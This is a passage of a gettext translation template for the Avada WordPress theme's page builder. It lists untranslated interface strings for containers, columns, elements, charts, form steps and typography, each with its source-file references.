includes/lib/inc/fusion-app/class-fusion-preferences.php:319 msgid "Options Sub Tabs" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:320 msgid "Choose if options sub tabs expanded or collapsed." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:323 msgid "Expanded" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:324 msgid "Collapsed" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:204 #: includes/metaboxes/metaboxes.php:696 #: includes/metaboxes/tabs/tab_code_fields.php:22 msgid "Code Fields" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:205 #: includes/metaboxes/tabs/tab_code_fields.php:78 msgid "Custom Code" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:206 #: includes/lib/inc/redux/framework/class.fusionredux-plugin.php:415 msgid "Builder" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:208 msgid "Add your CSS code here..." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:209 msgid "Delete page layout" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:210 msgid "Undo" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:211 msgid "Redo" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:213 msgid "Don't Save" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:214 msgid "Save & Leave" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:215 msgid "Just Leave" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:216 msgid "Delete item" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:217 msgid "Clone item" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:218 msgid "Edit item" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:220 #. translators: Element settings. msgid "%s Options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:221 msgid "Container" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:222 msgid "Container Options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:223 msgid "Insert Container" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:224 msgid "Clone Container" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:225 msgid "Save Container" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:226 msgid "Delete Container" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:227 msgid "Builder Containers" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:228 msgid "Click to toggle" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:229 msgid "Save Custom Container" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:230 msgid "Save Custom Template" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:231 msgid "Custom containers will be stored and managed on the Library tab" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:232 msgid "Enter Name..." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:233 #: includes/lib/inc/fusion-app/helpers.php:356 #: includes/lib/inc/fusion-app/helpers.php:499 #: includes/metaboxes/tabs/tab_off_canvas_general.php:266 msgid "Column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:234 msgid "Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:235 msgid "Resize column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:236 msgid "Resized Column to" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:237 msgid "Column Options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:238 msgid "Save column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:239 msgid "Delete column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:240 msgid "Delete row" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:241 msgid "Clone column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:242 msgid "Save Custom Column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:243 #: includes/lib/inc/fusion-app/helpers.php:271 msgid "Custom elements will be stored and managed on the Library tab" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:244 msgid "Add element" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:245 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:108 msgid "Element" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:246 msgid "Insert Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:248 msgid "Search Elements" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:249 msgid "Search Containers" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:250 msgid "Search Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:251 msgid "Builder Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:252 msgid "Library Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:253 msgid "Library Containers" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:255 msgid "Select Element" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:259 msgid "Library Elements" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:260 msgid "Inline element for usage inside of other elements." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:261 msgid "This element can be added only" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:262 msgid "time." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:263 msgid "times." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:264 msgid "Nested Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:266 msgid "Clone Element" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:267 msgid "Save Element" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:268 msgid "Save As Global" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:269 msgid "Delete Element" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:270 msgid "Save Custom Element" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:272 msgid "Add / Edit Items" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:273 msgid "" "Add or edit new items for this element. Drag and drop them into the desired " "order." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:274 msgid "Clone inner columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:275 msgid "Save inner columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:276 msgid "Delete inner columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:277 msgid "Save Nested Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:278 #: includes/lib/inc/fusion-app/helpers.php:280 msgid "Select or Leave Blank for All" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:279 msgid "Select or Leave Blank for Global" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:281 msgid "Select or Leave Blank for None" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:282 msgid "Select or Leave Blank for Published" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:283 msgid "Please enter element name" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:284 msgid "You are about to remove all page layout. Do you still want to proceed?" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:285 msgid "Are you sure you want to delete this ?" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:286 msgid "" "This is a global item. Deleting this element will remove it from every page " "you have it on. Are you sure you want to remove it?" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:287 msgid "Global element
    Click to disable global status" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:288 msgid "Global column
    Click to disable global status" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:289 msgid "Global container
    Click to disable global status" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:290 msgid "An element with this name already exists. Please enter different name." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:291 msgid "Please enter template name" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:292 msgid "Save page layout" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:293 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php:318 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/media/field_media.php:202 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:147 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:209 msgid "Upload" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:295 msgid "Upload Audio" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:297 msgid "Attach Images to Gallery" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:298 msgid "Insert" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:300 msgid "To get started, add a Container, or add a prebuilt page." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:301 msgid "To get started, add a Container, or add a prebuilt header." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:302 msgid "To get started, add a Container, or add prebuilt content." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:303 msgid "To get started building your Page Title Bar, add a container." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:304 msgid "To get started building your Footer, add a container." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:305 msgid "To get started building your Form, add a container." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:306 msgid "To get started building your Off Canvas, add a container." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:307 msgid "To get started, add a Container, or add a prebuilt mega menu." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:308 msgid "" "The building process always starts with a container, then columns, then " "elements." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:309 msgid "Watch The Video!" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:310 msgid "Edit Settings" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:311 msgid "Backward History" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:312 msgid "Duplicate Content" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:313 msgid "Forward History" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:314 msgid "Save Custom Content" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:315 msgid "Delete Content" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:316 msgid "Add Content" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:317 msgid "Click the ? icon to access Avada documentation" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:318 msgid "Getting Started Video" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:319 msgid "Icon Control Descriptions:" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:320 msgid "History" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:321 msgid "Collapse Sections" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:322 msgid "History States" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:324 msgid "Moved Column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:325 msgid "Added Custom Element: " msgstr "" #: includes/lib/inc/fusion-app/helpers.php:326 msgid "Added Custom Column: " msgstr "" #: includes/lib/inc/fusion-app/helpers.php:327 msgid "Added Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:328 msgid "Added Custom Container: " msgstr "" #: includes/lib/inc/fusion-app/helpers.php:329 msgid "Added Studio Element: " msgstr "" #: includes/lib/inc/fusion-app/helpers.php:330 msgid "Added Studio Column: " msgstr "" #: includes/lib/inc/fusion-app/helpers.php:331 msgid "Added Studio Container: " msgstr "" #: includes/lib/inc/fusion-app/helpers.php:332 msgid "Added Special Item: " msgstr "" #: includes/lib/inc/fusion-app/helpers.php:333 msgid "Deleted" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:334 msgid "Cloned" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:335 msgid "Pasted" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:336 msgid "Moved" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:337 msgid "Edited" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:339 #: includes/lib/inc/fusion-app/templates/modal-dialog-more.php:37 msgid "Reset to Default" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:340 msgid "Added Nested Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:341 msgid "Edited Nested Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:342 msgid "Deleted Nested Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:343 msgid "Moved Nested Column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:344 msgid "Head Title" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:345 msgid "Currency" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:346 #: templates/wc-catalog-ordering.php:52 templates/wc-catalog-ordering.php:101 #: woocommerce/cart/cart.php:32 woocommerce/cart/cart.php:119 msgid "Price" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:347 msgid "Period" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:348 msgid "Enter Text" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:349 msgid "Added" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:350 msgid "Added Container" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:351 msgid "Cloned Nested Columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:352 msgid "Content Imported" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:353 msgid "Visually create your table below, add or remove rows and columns" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:354 msgid "Add Column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:355 msgid "Add Row" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:357 msgid "Standout" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:358 msgid "Add Button" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:361 msgid "Table Options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:362 msgid "Table" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:363 msgid "Toggle All Containers" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:364 msgid "Cloned Container" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:365 msgid "Deleted Container" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:367 msgid "Audio" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:368 msgid "Select Image" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:369 msgid "Select Images" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:370 msgid "Select Video" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:371 msgid "Select Audio" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:372 msgid "Select Icon" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:374 msgid "To Add Elements, You Must First Add a Column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:375 msgid "" "This is an empty container with a background image. To add elements, you " "must first add a column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:377 msgid "Add New Option" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:378 msgid "Add New Logic" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:379 msgid "There are no fields available for conditional logic." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:380 msgid "Condition Value" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:381 #: includes/lib/inc/fusion-app/templates/options/fusion-logics.php:223 #: includes/lib/inc/fusion-app/templates/options/fusion-logics.php:325 #: includes/metaboxes/metaboxes.php:2157 includes/metaboxes/metaboxes.php:2160 msgid "OR" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:382 #: includes/metaboxes/tabs/tab_form_notifications.php:81 msgid "Label" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:383 msgid "Field" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:384 msgid "Select Field" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:385 #: includes/metaboxes/metaboxes.php:2155 msgid "Value" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:386 msgid "Bulk / Predefined" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:387 msgid "Show values" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:388 msgid "Select a predefined list or paste your own list bulk add choices." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:389 msgid "Bulk Add" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:390 msgid "Predefined Choices" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:391 msgid "Insert Choices" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:393 #. translators: Child element name. msgid "Empty %s element, please add child elements here." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:394 msgid "" "The views counter option is disabled. Enable it in the global options to " "use this element." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:395 msgid "" "To add images to this post or page for attachments layout, navigate to " "\"Upload Files\" tab in media manager and upload new images." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:396 msgid "" "WARNING: Importing a single prebuilt page will remove all other page " "content, Avada Page Options and page template. Avada Global Options and " "images are not imported. Click OK to continue or cancel to stop." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:397 msgid "Content Error" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:399 #. translators: Link URL. msgid "" "Your page content could not be displayed as an Avada Builder layout. Most " "likely that means, there is some invalid markup or shortcode in it. Please " "check the contents in the text editor. See " "here for more information." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:400 msgid "Unknown Error Occurred" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:402 #. translators: Link URL. msgid "Click here to learn more." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:403 msgid "Click here to copy the full error message." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:404 msgid "Full error message copied." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:405 msgid "Moved Container" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:408 msgid "Delete Next Page Divider" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:409 msgid "Toggle Element" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:410 msgid "Drag Element" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:411 msgid "Deleted Next Page Divider" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:412 msgid "Deleted Checkout Form Divider" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:413 msgid "Added Next Page Divider" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:414 msgid "Next Page" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:415 msgid "Checkout Form" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:416 msgid "Form Step" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:417 msgid "Deleted Form Step" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:418 msgid "Delete Form Step" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:419 msgid "Added Form Step" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:421 #: includes/lib/inc/fusion-app/helpers.php:423 #. translators: %s - The number of the step. msgid "Step %s" msgid_plural "Step %s" msgstr[0] "" msgstr[1] "" #: includes/lib/inc/fusion-app/helpers.php:424 msgid "Special" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:425 msgid "Special Items" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:426 msgid "" "The form step item allows you to break your form into several steps. Simply " "insert it onto the form, and form steps will show on the frontend." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:427 msgid "" "The next page item allows you to break your page into several pages. Simply " "insert it onto the page, and automatic pagination will show on the frontend." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:428 msgid "" "The checkout form items allows you to add opening and closing WooCommerce " "checkout form tags." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:429 msgid "Select Link" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:430 msgid "Color palette options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:433 msgid "Legend Value Text Color" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:434 msgid "Legend Label" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:435 msgid "X Axis Label" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:437 #. translators: Toggle column width option. msgid "Use Custom Width" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:438 msgid "Use Preset Sizes" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:440 #. translators: Search type. msgid "Search %s" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:441 msgid "Chart Background Color" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:443 #. translators: Default value description & value. msgid "Controls the background of the chart. %s" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:444 msgid "Chart Axis Text Color" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:446 #. translators: Default value description & value. msgid "Controls the text color of the x-axis and y-axis. %s" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:447 msgid "Chart Gridline Color" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:449 #. translators: Default value description & value. msgid "Controls the color of the chart background grid lines and values. %s" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:450 msgid "Chart Padding Options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:451 msgid "Controls the top/right/bottom/left padding of the chart." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:452 msgid "Chart Options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:453 msgid "Chart Data" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:455 msgid "Set chart border size in pixels." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:456 msgid "" "Visually create your chart data below, add or remove data sets and their " "styling" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:457 msgid "Visually create your chart data below" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:458 msgid "" "IMPORTANT NOTE: If you are using a Bar or " "Horizontal Bar Chart, the table interface below and " "available options will change depending on the number of datasets added. " "This setup is needed in order to ensure maximum flexibility for your chart " "styling." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:459 msgid "+ Add Value Column" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:460 msgid "+ Add Data Set" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:461 msgid "Data Set" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:462 msgid "Data Set Styling" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:463 msgid "Value Set Styling" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:464 msgid "Build your chart data visually" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:465 msgid "Edit Chart Data Table" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:466 msgid "Registration confirmation will be emailed to you." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:467 msgid "Are you sure you want to remove global property?" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:468 msgid "Remove Global?" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:469 msgid "Removed Global Status" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:470 msgid "Draft container." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:471 msgid "Scheduled container." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:472 msgid "Click to remove sheduling." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:473 msgid "" "Are you sure you want to remove sheduling? This will set the container to " "be a normally published element." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:474 msgid "Container published." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:477 msgid "Watch Our Get Started Video" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:478 msgid "Do you need a helping hand? Let us guide you." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:479 msgid "Watch The Video" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:480 msgid "Avada Builder Docs" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:481 msgid "Videos not for you? That's ok! We have you covered." msgstr "" #: includes/lib/inc/fusion-app/helpers.php:482 msgid "Toggle Description" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:483 msgid "Toggle Responsive Options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:484 msgid "Toggle State Options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:485 #: includes/metaboxes/metaboxes.php:2315 #: includes/metaboxes/tabs/tab_off_canvas_general.php:43 msgid "Default State" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:486 #: includes/lib/inc/redux/custom-fields/spacing/field_spacing.php:108 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.php:141 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:617 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:77 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:214 #: includes/metaboxes/tabs/tab_off_canvas_general.php:70 #: includes/metaboxes/tabs/tab_off_canvas_general.php:207 #: includes/metaboxes/tabs/tab_template.php:466 includes/options/extra.php:512 #: includes/options/header.php:131 includes/options/menu.php:1452 #: includes/options/menu.php:3181 includes/options/sliding_bar.php:145 #: includes/options/social_media.php:257 includes/options/social_media.php:512 #: includes/options/social_media.php:875 includes/options/woocommerce.php:204 msgid "Top" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:487 #: includes/lib/inc/redux/custom-fields/spacing/field_spacing.php:122 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.php:155 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:619 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:79 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:216 #: includes/metaboxes/tabs/tab_off_canvas_general.php:72 #: includes/metaboxes/tabs/tab_off_canvas_general.php:209 #: includes/options/extra.php:511 includes/options/lightbox.php:119 #: includes/options/menu.php:1451 includes/options/menu.php:3183 #: includes/options/sliding_bar.php:147 includes/options/social_media.php:259 #: includes/options/social_media.php:514 includes/options/social_media.php:877 #: includes/options/woocommerce.php:206 msgid "Bottom" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:490 #: includes/lib/inc/redux/custom-fields/dimensions/field_dimensions.php:84 #: includes/metaboxes/tabs/tab_off_canvas_general.php:127 #: includes/metaboxes/tabs/tab_off_canvas_general.php:229 msgid "Height" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:491 #: includes/lib/inc/redux/custom-fields/dimensions/field_dimensions.php:71 #: includes/metaboxes/tabs/tab_off_canvas_general.php:113 msgid "Width" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:492 msgid "Top/Left" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:493 msgid "Top/Right" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:494 msgid "Bot/Left" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:495 msgid "Bot/Right" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:497 msgid "Horizontal" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:498 msgid "Vertical" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:500 #: includes/metaboxes/tabs/tab_off_canvas_general.php:267 msgid "Row" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:501 msgid "Confirm" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:502 msgid "Unsaved Changes" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:503 msgid "Your changes will be lost, do you want to save changes before leaving?" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:504 msgid "Reset" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:505 msgid "Reset to Defaults" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:506 msgid "Are you sure you want to reset this element's options to default?" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:507 msgid "Are you sure you want to delete this element?" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:508 msgid "I Agree" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:509 msgid "Are You Sure?" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:510 msgid "I'm sure" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:511 msgid "Ok" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:512 msgid "Import Prebuilt Website Page" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:513 msgid "Import Prebuilt Website Layout" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:514 msgid "Extended options" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:515 msgid "Align text" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:516 msgid "Align left" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:517 msgid "Align center" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:518 msgid "Align right" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:519 msgid "Justify" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:520 msgid "Indent" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:521 msgid "Outdent" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:522 msgid "Accept" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:525 msgid "Family" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:526 msgid "Tag" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:527 #: includes/lib/inc/fusion-app/templates/options/typography.php:171 #: includes/lib/inc/fusion-app/templates/typography-set.php:111 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:233 #: includes/metaboxes/metaboxes.php:1115 msgid "Font Size" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:528 #: includes/lib/inc/fusion-app/templates/options/typography.php:172 #: includes/lib/inc/fusion-app/templates/typography-set.php:112 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:234 #: includes/metaboxes/metaboxes.php:1116 msgid "Line Height" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:529 #: includes/lib/inc/fusion-app/templates/options/typography.php:173 #: includes/lib/inc/fusion-app/templates/typography-set.php:113 #: includes/lib/inc/redux/custom-fields/typography/field_typography.php:235 #: includes/metaboxes/metaboxes.php:1117 msgid "Letter Spacing" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:532 msgid "Font color" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:533 msgid "Edit Inline Element" msgstr "" #: includes/lib/inc/fusion-app/helpers.php:534 msgid "Remove Inline Element" 